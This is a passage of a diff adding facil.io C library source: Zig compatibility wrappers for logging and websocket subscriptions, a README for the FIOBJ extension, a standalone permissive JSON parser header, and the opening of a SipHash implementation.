+#define FIO_CLI_STRING(line) (line), ((char *)FIO_CLI_STRING__TYPE_I)
+/** Indicates the CLI argument is a Boolean value. */
+#define FIO_CLI_BOOL(line) (line), ((char *)FIO_CLI_BOOL__TYPE_I)
+/** Indicates the CLI argument should be an Integer (numerical). */
+#define FIO_CLI_INT(line) (line), ((char *)FIO_CLI_INT__TYPE_I)
+/** Indicates the CLI string should be printed as is. */
+#define FIO_CLI_PRINT(line) (line), ((char *)FIO_CLI_PRINT__TYPE_I)
+/** Indicates the CLI string should be printed as a header. */
+#define FIO_CLI_PRINT_HEADER(line)                                             \
+  (line), ((char *)FIO_CLI_PRINT_HEADER__TYPE_I)
+
+#endif

facil.io/lib/facil/fio_zig.c

@@ -0,0 +1,132 @@
+#include <fio.h>
+#include <fiobject.h>
+
+int fiobj_invalid = FIOBJ_INVALID;
+
+int is_invalid(FIOBJ o) {
+    if(o == FIOBJ_INVALID) return 1;
+    return 0;
+}
+
+void fiobj_free_wrapped(FIOBJ o) {
+  if (!FIOBJ_IS_ALLOCATED(o))
+    return;
+  if (fiobj_ref_dec(o))
+    return;
+  if (FIOBJECT2VTBL(o)->each && FIOBJECT2VTBL(o)->count(o))
+    fiobj_free_complex_object(o);
+  else
+    FIOBJECT2VTBL(o)->dealloc(o, NULL, NULL);
+}
+
+void fio_log_debug(const char* msg) {
+    FIO_LOG_DEBUG("%s", msg);
+}
+void fio_log_info(const char* msg) {
+    FIO_LOG_INFO("%s", msg);
+}
+void fio_log_warning(const char* msg) {
+    FIO_LOG_WARNING("%s", msg);
+}
+void fio_log_error(const char* msg) {
+    FIO_LOG_ERROR("%s", msg);
+}
+void fio_log_fatal(const char* msg) {
+    FIO_LOG_FATAL("%s", msg);
+}
+
+// Log Levels as ints 
+
+/** Logging level of zero (no logging). */
+int fio_log_level_none = FIO_LOG_LEVEL_NONE;
+/** Log fatal errors. */
+int fio_log_level_fatal = FIO_LOG_LEVEL_FATAL;
+/** Log errors and fatal errors. */
+int fio_log_level_error = FIO_LOG_LEVEL_ERROR;
+/** Log warnings, errors and fatal errors. */
+int fio_log_level_warning = FIO_LOG_LEVEL_WARNING;
+/** Log every message (info, warnings, errors and fatal errors). */
+int fio_log_level_info = FIO_LOG_LEVEL_INFO;
+/** Log everything, including debug messages. */
+int fio_log_level_debug = FIO_LOG_LEVEL_DEBUG;
+
+void fio_set_log_level(int level) {
+    FIO_LOG_LEVEL = level;
+}
+
+int fio_get_log_level() {
+    return FIO_LOG_LEVEL;
+}
+
+void fio_log_print(int level, const char* msg) {
+    FIO_LOG_PRINT(level, "%s", msg);
+}
+
+#include <websockets.h>
+struct websocket_subscribe_s_zigcompat {
+  /** the websocket receiving the message. REQUIRED. */
+  ws_s *ws;
+  /** the channel where the message was published. */
+  fio_str_info_s channel;
+  /**
+   * The callback that handles pub/sub notifications.
+   *
+   * Default: send directly to websocket client.
+   */
+  void (*on_message)(ws_s *ws, fio_str_info_s channel, fio_str_info_s msg,
+                     void *udata);
+  /**
+   * An optional cleanup callback for the `udata`.
+   */
+  void (*on_unsubscribe)(void *udata);
+  /** User opaque data, passed along to the notification. */
+  void *udata;
+  /** An optional callback for pattern matching. */
+  fio_match_fn match;
+  /**
+   * When using client forwarding (no `on_message` callback), this indicates if
+   * messages should be sent to the client as binary blobs, which is the safest
+   * approach.
+   *
+   * Default: tests for UTF-8 data encoding and sends as text if valid UTF-8.
+   * Messages above ~32Kb are always assumed to be binary.
+   */
+  unsigned char force_binary;
+  /**
+   * When using client forwarding (no `on_message` callback), this indicates if
+   * messages should be sent to the client as text.
+   *
+   * `force_binary` has precedence.
+   *
+   * Default: see above.
+   *
+   */
+  unsigned char force_text;
+};
+
+/**
+ * Subscribes to a channel. See {struct websocket_subscribe_s} for possible
+ * arguments.
+ *
+ * Returns a subscription ID on success and 0 on failure.
+ *
+ * All subscriptions are automatically revoked once the websocket is closed.
+ *
+ * If the connections subscribes to the same channel more than once, messages
+ * will be merged. However, another subscription ID will be assigned, since two
+ * calls to {websocket_unsubscribe} will be required in order to unregister from
+ * the channel.
+ */
+uintptr_t websocket_subscribe_zigcompat(struct websocket_subscribe_s_zigcompat args)
+{
+    return websocket_subscribe(args.ws,
+        // .ws = args.ws,
+        .channel = args.channel,
+        .on_message = args.on_message,
+        .on_unsubscribe = args.on_unsubscribe,
+        .udata = args.udata,
+        .match = args.match,
+        .force_binary = args.force_binary & 1,
+        .force_text = args.force_text & 1,
+    );
+}

facil.io/lib/facil/fiobj/README.md

@@ -0,0 +1,9 @@
+# The facil.io Object (FIOBJ) extension
+
+This is a standalone facil.io extension for soft dynamic types.
+
+The FIOBJ library can be used without the facil.io core library. To allow for this use-case, some code duplication occurs.
+
+To access the FIOBJ API, simply include `fiobj.h` from your project.
+
+When using the FIOBJ library without facil.io, copy all the files in this folder and the facil.io core header file (`fio.h`) to your project. Than include `fiobj.h` to access the API.

facil.io/lib/facil/fiobj/fio_json_parser.h

@@ -0,0 +1,687 @@
+#ifndef H_FIO_JSON_H
+/* *****************************************************************************
+ * Copyright: Boaz Segev, 2017-2019
+ * License: MIT
+ *
+ * This header file is a single-file JSON naive parse.
+ *
+ * The code was extracted form the FIOBJ implementation in order to allow the
+ * parser to be used independantly from the rest of the facil.io library.
+ *
+ * The parser ignores missing commas and other formatting errors when possible.
+ *
+ * The parser also extends the JSON format to allow for C and Bash style
+ * comments as well as hex numerical formats.
+ *****************************************************************************
+ */
+#define H_FIO_JSON_H
+
+#include <ctype.h>
+#include <math.h>
+#include <stdint.h>
+#include <stdlib.h>
+#include <string.h>
+
+#if DEBUG
+#include <stdio.h>
+#endif
+
+#if !defined(__GNUC__) && !defined(__clang__) && !defined(FIO_GNUC_BYPASS)
+#define __attribute__(...)
+#define __has_include(...) 0
+#define __has_builtin(...) 0
+#define FIO_GNUC_BYPASS 1
+#elif !defined(__clang__) && !defined(__has_builtin)
+#define __has_builtin(...) 0
+#define FIO_GNUC_BYPASS 1
+#endif
+
+/* *****************************************************************************
+JSON API
+***************************************************************************** */
+
+/* maximum allowed depth values max out at 32, since a bitmap is used */
+#if !defined(JSON_MAX_DEPTH) || JSON_MAX_DEPTH > 32
+#undef JSON_MAX_DEPTH
+#define JSON_MAX_DEPTH 32
+#endif
+
+/** The JSON parser type. Memory must be initialized to 0 before first uses. */
+typedef struct {
+  /** in dictionary flag. */
+  uint32_t dict;
+  /** level of nesting. */
+  uint8_t depth;
+  /** in dictionary waiting for key. */
+  uint8_t key;
+} json_parser_s;
+
+/**
+ * Stream parsing of JSON data using a persistent parser.
+ *
+ * Returns the number of bytes consumed (0 being a valid value).
+ *
+ * Unconsumed data should be resent to the parser once more data is available.
+ *
+ * For security (due to numeral parsing concerns), a NUL byte should be placed
+ * at `buffer[length]`.
+ */
+static size_t __attribute__((unused))
+fio_json_parse(json_parser_s *parser, const char *buffer, size_t length);
+
+/**
+ * This function allows JSON formatted strings to be converted to native
+ * strings.
+ */
+static size_t __attribute__((unused))
+fio_json_unescape_str(void *dest, const char *source, size_t length);
+
+/* *****************************************************************************
+JSON Callacks - these must be implemented in the C file that uses the parser
+***************************************************************************** */
+
+/** a NULL object was detected */
+static void fio_json_on_null(json_parser_s *p);
+/** a TRUE object was detected */
+static void fio_json_on_true(json_parser_s *p);
+/** a FALSE object was detected */
+static void fio_json_on_false(json_parser_s *p);
+/** a Numberl was detected (long long). */
+static void fio_json_on_number(json_parser_s *p, long long i);
+/** a Float was detected (double). */
+static void fio_json_on_float(json_parser_s *p, double f);
+/** a String was detected (int / float). update `pos` to point at ending */
+static void fio_json_on_string(json_parser_s *p, void *start, size_t length);
+/** a dictionary object was detected, should return 0 unless error occurred. */
+static int fio_json_on_start_object(json_parser_s *p);
+/** a dictionary object closure detected */
+static void fio_json_on_end_object(json_parser_s *p);
+/** an array object was detected, should return 0 unless error occurred. */
+static int fio_json_on_start_array(json_parser_s *p);
+/** an array closure was detected */
+static void fio_json_on_end_array(json_parser_s *p);
+/** the JSON parsing is complete */
+static void fio_json_on_json(json_parser_s *p);
+/** the JSON parsing is complete */
+static void fio_json_on_error(json_parser_s *p);
+
+/* *****************************************************************************
+JSON maps (arrays used to map data to simplify `if` statements)
+***************************************************************************** */
+
+/*
+Marks as object seperators any of the following:
+
+* White Space: [0x09, 0x0A, 0x0D, 0x20]
+* Comma ("," / 0x2C)
+* NOT Colon (":" / 0x3A)
+* == [0x09, 0x0A, 0x0D, 0x20, 0x2C]
+The rest belong to objects,
+*/
+static const uint8_t JSON_SEPERATOR[] = {
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+    0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0,
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+};
+
+/*
+Marks a numeral valid char (it's a permisive list):
+['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'e', 'E', '+', '-', 'x', 'b',
+'.']
+*/
+static const uint8_t JSON_NUMERAL[] = {
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0,
+    1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0,
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+    0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+    1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+};
+
+static const char hex_chars[] = {'0', '1', '2', '3', '4', '5', '6', '7',
+                                 '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'};
+
+static const uint8_t is_hex[] = {
+    0,  0,  0,  0, 0, 0,  0,  0,  0,  0,  0,  0, 0, 0, 0, 0, 0, 0,  0,  0,
+    0,  0,  0,  0, 0, 0,  0,  0,  0,  0,  0,  0, 0, 0, 0, 0, 0, 0,  0,  0,
+    0,  0,  0,  0, 0, 0,  0,  0,  1,  2,  3,  4, 5, 6, 7, 8, 9, 10, 0,  0,
+    0,  0,  0,  0, 0, 11, 12, 13, 14, 15, 16, 0, 0, 0, 0, 0, 0, 0,  0,  0,
+    0,  0,  0,  0, 0, 0,  0,  0,  0,  0,  0,  0, 0, 0, 0, 0, 0, 11, 12, 13,
+    14, 15, 16, 0, 0, 0,  0,  0,  0,  0,  0,  0, 0, 0, 0, 0, 0, 0,  0,  0,
+    0,  0,  0,  0, 0, 0,  0,  0,  0,  0,  0,  0, 0, 0, 0, 0, 0, 0,  0,  0,
+    0,  0,  0,  0, 0, 0,  0,  0,  0,  0,  0,  0, 0, 0, 0, 0, 0, 0,  0,  0,
+    0,  0,  0,  0, 0, 0,  0,  0,  0,  0,  0,  0, 0, 0, 0, 0, 0, 0,  0,  0,
+    0,  0,  0,  0, 0, 0,  0,  0,  0,  0,  0,  0, 0, 0, 0, 0, 0, 0,  0,  0,
+    0,  0,  0,  0, 0, 0,  0,  0,  0,  0,  0,  0, 0, 0, 0, 0, 0, 0,  0,  0,
+    0,  0,  0,  0, 0, 0,  0,  0,  0,  0,  0,  0, 0, 0, 0, 0, 0, 0,  0,  0,
+    0,  0,  0,  0, 0, 0,  0,  0,  0,  0,  0,  0, 0, 0, 0, 0};
+
+/*
+Stops seeking a String:
+['\\', '"']
+*/
+static const uint8_t string_seek_stop[] = {
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0,
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
+
+/* *****************************************************************************
+JSON String Helper - Seeking to the end of a string
+***************************************************************************** */
+
+/**
+ * finds the first occurance of either '"' or '\\'.
+ */
+static inline int seek2marker(uint8_t **buffer,
+                              register const uint8_t *const limit) {
+  if (string_seek_stop[**buffer])
+    return 1;
+
+#if !ALLOW_UNALIGNED_MEMORY_ACCESS || (!__x86_64__ && !__aarch64__)
+  /* too short for this mess */
+  if ((uintptr_t)limit <= 8 + ((uintptr_t)*buffer & (~(uintptr_t)7)))
+    goto finish;
+  /* align memory */
+  if (1) {
+    {
+      const uint8_t *alignment =
+          (uint8_t *)(((uintptr_t)(*buffer) & (~(uintptr_t)7)) + 8);
+      if (limit >= alignment) {
+        while (*buffer < alignment) {
+          if (string_seek_stop[**buffer])
+            return 1;
+          *buffer += 1;
+        }
+      }
+    }
+    const uint8_t *limit64 = (uint8_t *)((uintptr_t)limit & (~(uintptr_t)7));
+#else
+  const uint8_t *limit64 = (uint8_t *)limit - 7;
+#endif
+    uint64_t wanted1 = 0x0101010101010101ULL * '"';
+    uint64_t wanted2 = 0x0101010101010101ULL * '\\';
+    for (; *buffer < limit64; *buffer += 8) {
+      const uint64_t eq1 = ~((*((uint64_t *)*buffer)) ^ wanted1);
+      const uint64_t t1 =
+          ((eq1 & 0x7f7f7f7f7f7f7f7fULL) + 0x0101010101010101ULL) &
+          (eq1 & 0x8080808080808080ULL);
+      const uint64_t eq2 = ~((*((uint64_t *)*buffer)) ^ wanted2);
+      const uint64_t t2 =
+          ((eq2 & 0x7f7f7f7f7f7f7f7fULL) + 0x0101010101010101ULL) &
+          (eq2 & 0x8080808080808080ULL);
+      if ((t1 | t2)) {
+        break;
+      }
+    }
+  }
+#if !ALLOW_UNALIGNED_MEMORY_ACCESS || (!__x86_64__ && !__aarch64__)
+finish:
+#endif
+  if (*buffer + 4 <= limit) {
+    if (string_seek_stop[(*buffer)[0]]) {
+      // *buffer += 0;
+      return 1;
+    }
+    if (string_seek_stop[(*buffer)[1]]) {
+      *buffer += 1;
+      return 1;
+    }
+    if (string_seek_stop[(*buffer)[2]]) {
+      *buffer += 2;
+      return 1;
+    }
+    if (string_seek_stop[(*buffer)[3]]) {
+      *buffer += 3;
+      return 1;
+    }
+    *buffer += 4;
+  }
+  while (*buffer < limit) {
+    if (string_seek_stop[**buffer])
+      return 1;
+    (*buffer)++;
+  }
+  return 0;
+}
+
+static inline int seek2eos(uint8_t **buffer,
+                           register const uint8_t *const limit) {
+  while (*buffer < limit) {
+    if (seek2marker(buffer, limit) && **buffer == '"')
+      return 1;
+    (*buffer) += 2; /* consume both the escape '\\' and the escape code. */
+  }
+  return 0;
+}
+
+/* *****************************************************************************
+JSON String to Numeral Helpers - allowing for stand-alone mode
+***************************************************************************** */
+
+#ifndef H_FACIL_IO_H /* defined in fio.h */
+
+/**
+ * We include this in case the parser is used outside of facil.io.
+ */
+int64_t __attribute__((weak)) fio_atol(char **pstr) {
+  return strtoll((char *)*pstr, (char **)pstr, 0);
+}
+#pragma weak fio_atol
+
+/**
+ * We include this in case the parser is used outside of facil.io.
+ */
+double __attribute__((weak)) fio_atof(char **pstr) {
+  return strtod((char *)*pstr, (char **)pstr);
+}
+#pragma weak fio_atof
+
+#endif
+
+/* *****************************************************************************
+JSON Consumption (astract parsing)
+***************************************************************************** */
+
+/**
+ * Returns the number of bytes consumed. Stops as close as possible to the end
+ * of the buffer or once an object parsing was completed.
+ */
+static size_t __attribute__((unused))
+fio_json_parse(json_parser_s *parser, const char *buffer, size_t length) {
+  if (!length || !buffer)
+    return 0;
+  uint8_t *pos = (uint8_t *)buffer;
+  const uint8_t *limit = pos + length;
+  do {
+    while (pos < limit && JSON_SEPERATOR[*pos])
+      ++pos;
+    if (pos == limit)
+      goto stop;
+    switch (*pos) {
+    case '"': {
+      uint8_t *tmp = pos + 1;
+      if (seek2eos(&tmp, limit) == 0)
+        goto stop;
+      if (parser->key) {
+        uint8_t *key = tmp + 1;
+        while (key < limit && JSON_SEPERATOR[*key])
+          ++key;
+        if (key >= limit)
+          goto stop;
+        if (*key != ':')
+          goto error;
+        ++pos;
+        fio_json_on_string(parser, pos, (uintptr_t)(tmp - pos));
+        pos = key + 1;
+        parser->key = 0;
+        continue; /* skip tests */
+      } else {
+        ++pos;
+        fio_json_on_string(parser, pos, (uintptr_t)(tmp - pos));
+        pos = tmp + 1;
+      }
+      break;
+    }
+    case '{':
+      if (parser->key) {
+#if DEBUG
+        fprintf(stderr, "ERROR: JSON key can't be a Hash.\n");
+#endif
+        goto error;
+      }
+      ++parser->depth;
+      if (parser->depth >= JSON_MAX_DEPTH)
+        goto error;
+      parser->dict = (parser->dict << 1) | 1;
+      ++pos;
+      if (fio_json_on_start_object(parser))
+        goto error;
+      break;
+    case '}':
+      if ((parser->dict & 1) == 0) {
+#if DEBUG
+        fprintf(stderr, "ERROR: JSON dictionary closure error.\n");
+#endif
+        goto error;
+      }
+      if (!parser->key) {
+#if DEBUG
+        fprintf(stderr, "ERROR: JSON dictionary closure missing key value.\n");
+        goto error;
+#endif
+        fio_json_on_null(parser); /* append NULL and recuperate from error. */
+      }
+      --parser->depth;
+      ++pos;
+      parser->dict = (parser->dict >> 1);
+      fio_json_on_end_object(parser);
+      break;
+    case '[':
+      if (parser->key) {
+#if DEBUG
+        fprintf(stderr, "ERROR: JSON key can't be an array.\n");
+#endif
+        goto error;
+      }
+      ++parser->depth;
+      if (parser->depth >= JSON_MAX_DEPTH)
+        goto error;
+      ++pos;
+      parser->dict = (parser->dict << 1);
+      if (fio_json_on_start_array(parser))
+        goto error;
+      break;
+    case ']':
+      if ((parser->dict & 1))
+        goto error;
+      --parser->depth;
+      ++pos;
+      parser->dict = (parser->dict >> 1);
+      fio_json_on_end_array(parser);
+      break;
+    case 't':
+      if (pos + 3 >= limit)
+        goto stop;
+      if (pos[1] == 'r' && pos[2] == 'u' && pos[3] == 'e')
+        fio_json_on_true(parser);
+      else
+        goto error;
+      pos += 4;
+      break;
+    case 'N': /* overflow */
+    case 'n':
+      if (pos + 2 <= limit && (pos[1] | 32) == 'a' && (pos[2] | 32) == 'n')
+        goto numeral;
+      if (pos + 3 >= limit)
+        goto stop;
+      if (pos[1] == 'u' && pos[2] == 'l' && pos[3] == 'l')
+        fio_json_on_null(parser);
+      else
+        goto error;
+      pos += 4;
+      break;
+    case 'f':
+      if (pos + 4 >= limit)
+        goto stop;
+      if (pos + 4 < limit && pos[1] == 'a' && pos[2] == 'l' && pos[3] == 's' &&
+          pos[4] == 'e')
+        fio_json_on_false(parser);
+      else
+        goto error;
+      pos += 5;
+      break;
+    case '-': /* overflow */
+    case '0': /* overflow */
+    case '1': /* overflow */
+    case '2': /* overflow */
+    case '3': /* overflow */
+    case '4': /* overflow */
+    case '5': /* overflow */
+    case '6': /* overflow */
+    case '7': /* overflow */
+    case '8': /* overflow */
+    case '9': /* overflow */
+    case '.': /* overflow */
+    case 'e': /* overflow */
+    case 'E': /* overflow */
+    case 'x': /* overflow */
+    case 'i': /* overflow */
+    case 'I': /* overflow */
+    numeral : {
+      uint8_t *tmp = pos;
+      long long i = fio_atol((char **)&tmp);
+      if (tmp > limit)
+        goto stop;
+      if (!tmp || JSON_NUMERAL[*tmp]) {
+        tmp = pos;
+        double f = fio_atof((char **)&tmp);
+        if (tmp > limit)
+          goto stop;
+        if (!tmp || JSON_NUMERAL[*tmp])
+          goto error;
+        fio_json_on_float(parser, f);
+        pos = tmp;
+      } else {
+        fio_json_on_number(parser, i);
+        pos = tmp;
+      }
+      break;
+    }
+    case '#': /* Ruby style comment */
+    {
+      uint8_t *tmp = memchr(pos, '\n', (uintptr_t)(limit - pos));
+      if (!tmp)
+        goto stop;
+      pos = tmp + 1;
+      continue; /* skip tests */
+      ;
+    }
+    case '/': /* C style / Javascript style comment */
+      if (pos[1] == '*') {
+        if (pos + 4 > limit)
+          goto stop;
+        uint8_t *tmp = pos + 3; /* avoid this: /*/
+        do {
+          tmp = memchr(tmp, '/', (uintptr_t)(limit - tmp));
+        } while (tmp && tmp[-1] != '*');
+        if (!tmp)
+          goto stop;
+        pos = tmp + 1;
+      } else if (pos[1] == '/') {
+        uint8_t *tmp = memchr(pos, '\n', (uintptr_t)(limit - pos));
+        if (!tmp)
+          goto stop;
+        pos = tmp + 1;
+      } else
+        goto error;
+      continue; /* skip tests */
+      ;
+    default:
+      goto error;
+    }
+    if (parser->depth == 0) {
+      fio_json_on_json(parser);
+      goto stop;
+    }
+    parser->key = (parser->dict & 1);
+  } while (pos < limit);
+stop:
+  return (size_t)((uintptr_t)pos - (uintptr_t)buffer);
+error:
+  fio_json_on_error(parser);
+  return 0;
+}
+
+/* *****************************************************************************
+JSON Unescape String
+***************************************************************************** */
+
+#ifdef __cplusplus
+#define REGISTER
+#else
+#define REGISTER register
+#endif
+
+/* converts a uint32_t to UTF-8 and returns the number of bytes written */
+static inline int utf8_from_u32(uint8_t *dest, uint32_t u) {
+  if (u <= 127) {
+    *dest = u;
+    return 1;
+  } else if (u <= 2047) {
+    *(dest++) = 192 | (u >> 6);
+    *(dest++) = 128 | (u & 63);
+    return 2;
+  } else if (u <= 65535) {
+    *(dest++) = 224 | (u >> 12);
+    *(dest++) = 128 | ((u >> 6) & 63);
+    *(dest++) = 128 | (u & 63);
+    return 3;
+  }
+  *(dest++) = 240 | ((u >> 18) & 7);
+  *(dest++) = 128 | ((u >> 12) & 63);
+  *(dest++) = 128 | ((u >> 6) & 63);
+  *(dest++) = 128 | (u & 63);
+  return 4;
+}
+
+static void __attribute__((unused))
+fio_json_unescape_str_internal(uint8_t **dest, const uint8_t **src) {
+  ++(*src);
+  switch (**src) {
+  case 'b':
+    **dest = '\b';
+    ++(*src);
+    ++(*dest);
+    return; /* from switch */
+  case 'f':
+    **dest = '\f';
+    ++(*src);
+    ++(*dest);
+    return; /* from switch */
+  case 'n':
+    **dest = '\n';
+    ++(*src);
+    ++(*dest);
+    return; /* from switch */
+  case 'r':
+    **dest = '\r';
+    ++(*src);
+    ++(*dest);
+    return; /* from switch */
+  case 't':
+    **dest = '\t';
+    ++(*src);
+    ++(*dest);
+    return;   /* from switch */
+  case 'u': { /* test for octal notation */
+    if (is_hex[(*src)[1]] && is_hex[(*src)[2]] && is_hex[(*src)[3]] &&
+        is_hex[(*src)[4]]) {
+      uint32_t t =
+          ((((is_hex[(*src)[1]] - 1) << 4) | (is_hex[(*src)[2]] - 1)) << 8) |
+          (((is_hex[(*src)[3]] - 1) << 4) | (is_hex[(*src)[4]] - 1));
+      if ((*src)[5] == '\\' && (*src)[6] == 'u' && is_hex[(*src)[7]] &&
+          is_hex[(*src)[8]] && is_hex[(*src)[9]] && is_hex[(*src)[10]]) {
+        /* Serrogate Pair */
+        t = (t & 0x03FF) << 10;
+        t |= ((((((is_hex[(*src)[7]] - 1) << 4) | (is_hex[(*src)[8]] - 1))
+                << 8) |
+               (((is_hex[(*src)[9]] - 1) << 4) | (is_hex[(*src)[10]] - 1))) &
+              0x03FF);
+        t += 0x10000;
+        (*src) += 6;
+      }
+      *dest += utf8_from_u32(*dest, t);
+      *src += 5;
+      return;
+    } else
+      goto invalid_escape;
+  }
+  case 'x': { /* test for hex notation */
+    if (is_hex[(*src)[1]] && is_hex[(*src)[2]]) {
+      **dest = ((is_hex[(*src)[1]] - 1) << 4) | (is_hex[(*src)[2]] - 1);
+      ++(*dest);
+      (*src) += 3;
+      return;
+    } else
+      goto invalid_escape;
+  }
+  case '0':
+  case '1':
+  case '2':
+  case '3':
+  case '4':
+  case '5':
+  case '6':
+  case '7': { /* test for octal notation */
+    if ((*src)[1] >= '0' && (*src)[1] <= '7') {
+      **dest = (((*src)[0] - '0') << 3) | ((*src)[1] - '0');
+      ++(*dest);
+      (*src) += 2;
+      break; /* from switch */
+    } else
+      goto invalid_escape;
+  }
+  case '"':
+  case '\\':
+  case '/':
+  /* fallthrough */
+  default:
+  invalid_escape:
+    **dest = **src;
+    ++(*src);
+    ++(*dest);
+  }
+}
+
+static size_t __attribute__((unused))
+fio_json_unescape_str(void *dest, const char *source, size_t length) {
+  const uint8_t *reader = (uint8_t *)source;
+  const uint8_t *stop = reader + length;
+  uint8_t *writer = (uint8_t *)dest;
+  /* copy in chuncks unless we hit an escape marker */
+  while (reader < stop) {
+#if !__x86_64__ && !__aarch64__
+    /* we can't leverage unaligned memory access, so we read the buffer twice */
+    uint8_t *tmp = memchr(reader, '\\', (size_t)(stop - reader));
+    if (!tmp) {
+      memmove(writer, reader, (size_t)(stop - reader));
+      writer += (size_t)(stop - reader);
+      goto finish;
+    }
+    memmove(writer, reader, (size_t)(tmp - reader));
+    writer += (size_t)(tmp - reader);
+    reader = tmp;
+#else
+    const uint8_t *limit64 = (uint8_t *)stop - 7;
+    uint64_t wanted1 = 0x0101010101010101ULL * '\\';
+    while (reader < limit64) {
+      const uint64_t eq1 = ~((*((uint64_t *)reader)) ^ wanted1);
+      const uint64_t t0 = (eq1 & 0x7f7f7f7f7f7f7f7fllu) + 0x0101010101010101llu;
+      const uint64_t t1 = (eq1 & 0x8080808080808080llu);
+      if ((t0 & t1)) {
+        break;
+      }
+      *((uint64_t *)writer) = *((uint64_t *)reader);
+      reader += 8;
+      writer += 8;
+    }
+    while (reader < stop) {
+      if (*reader == '\\')
+        break;
+      *writer = *reader;
+      ++reader;
+      ++writer;
+    }
+    if (reader >= stop)
+      goto finish;
+#endif
+    fio_json_unescape_str_internal(&writer, &reader);
+  }
+finish:
+  return (size_t)((uintptr_t)writer - (uintptr_t)dest);
+}
+
+#undef REGISTER
+
+#endif

facil.io/lib/facil/fiobj/fio_siphash.c

@@ -0,0 +1,157 @@
+/*
+Copyright: Boaz Segev, 2017-2019
+License: MIT
+*/
+#include <fio_siphash.h>
+
+/* *****************************************************************************
+
+                                    NOTICE
+
+This code won't be linked to the final application when using fio.h and fio.c.
+
+The code is here only to allow the FIOBJ library to be extracted from the
+facil.io framework library.
+
+***************************************************************************** */
+
+/* *****************************************************************************
+Hashing (SipHash implementation)
+***************************************************************************** */
+
+#if !defined(__BIG_ENDIAN__) && !defined(__LITTLE_ENDIAN__) &&                 \
+    __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__
+/* the algorithm was designed as little endian... so, byte swap 64 bit. */
+#define sip_local64(i)                                                         \
+  (((i)&0xFFULL) << 56) | (((i)&0xFF00ULL) << 40) |                            \
